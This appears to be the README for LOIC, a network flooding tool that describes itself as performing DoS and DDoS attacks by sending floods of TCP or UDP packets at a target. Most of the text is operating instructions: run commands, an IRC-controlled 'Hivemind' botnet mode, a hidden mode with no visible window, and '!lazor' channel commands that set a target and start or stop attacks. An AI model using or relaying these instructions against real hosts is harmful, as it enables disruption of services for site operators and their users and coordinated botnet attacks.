LOIC – An open source network stress tool

    LOIC performs a denial-of-service (DoS) attack (or when used by multiple individuals, a DDoS attack) on a target site by flooding the server with TCP or UDP packets with the intention of disrupting the service of a particular host.

    People have used LOIC to join voluntary botnets. The software inspired the creation of an independent JavaScript version called JS LOIC, as well as LOIC-derived web version called Low Orbit Web Cannon. These enable a DoS from a web browser.

    HOW TO RUN ON WINDOWS

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    Requires Microsoft .NET Framework 3.5 Service Pack 1, available at: http://www.microsoft.com/downloads/en/details.aspx?FamilyID=ab99342f-5d1a-413d-8319-81da479ab0d7&displaylang=en

    HOW TO RUN ON LINUX / MACOSX

    Run debug binaries with mono. Read the wiki at https://github.com/NewEraCracker/LOIC/wiki/ for updated instructions.

    HIVEMIND/HIDDEN MODE

    HIVEMIND mode will connect your client to an IRC server so it can be controlled remotely. Think of this as a voluntary botnet (though do beware that your client can potentially be made to do naughty things).

    Note: It does NOT allow remote administration of your machine, or anything like that; it is literally just control of loic itself.

    If you want to start up in Hivemind mode, run something like this:

    	LOIC.exe /hivemind irc.server.address
    

    It will connect to irc://irc.server.adress:6667/loic

    You can also specify a port and channel:

    	LOIC.exe /hivemind irc.server.address 1234 #secret
    

    It will connect to irc://irc.server.adress:1234/secret

    In order to do Hivemind Hidden mode, run something like this:

    	LOIC.exe /hidden /hivemind irc.server.address
    

    It will connect to irc://irc.server.adress:6667/loic without any visible GUI.

    CONTROLLING LOIC FROM IRC

    As an OP, Admin or Owner, set the channel topic or send a message like the following:

    	!lazor targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true
    

    To start an attack, type:

    	!lazor start
    

    Or just append “start” to the END of the topic:

    	!lazor targetip=127.0.0.1 message=test_test port=80 method=tcp wait=false random=true start
    

    To reset loic’s options back to its defaults:

    	!lazor default
    

    To stop an attack:

    	!lazor stop
    

    and be sure to remove “start” from the END of the topic, if it exists, too.

     

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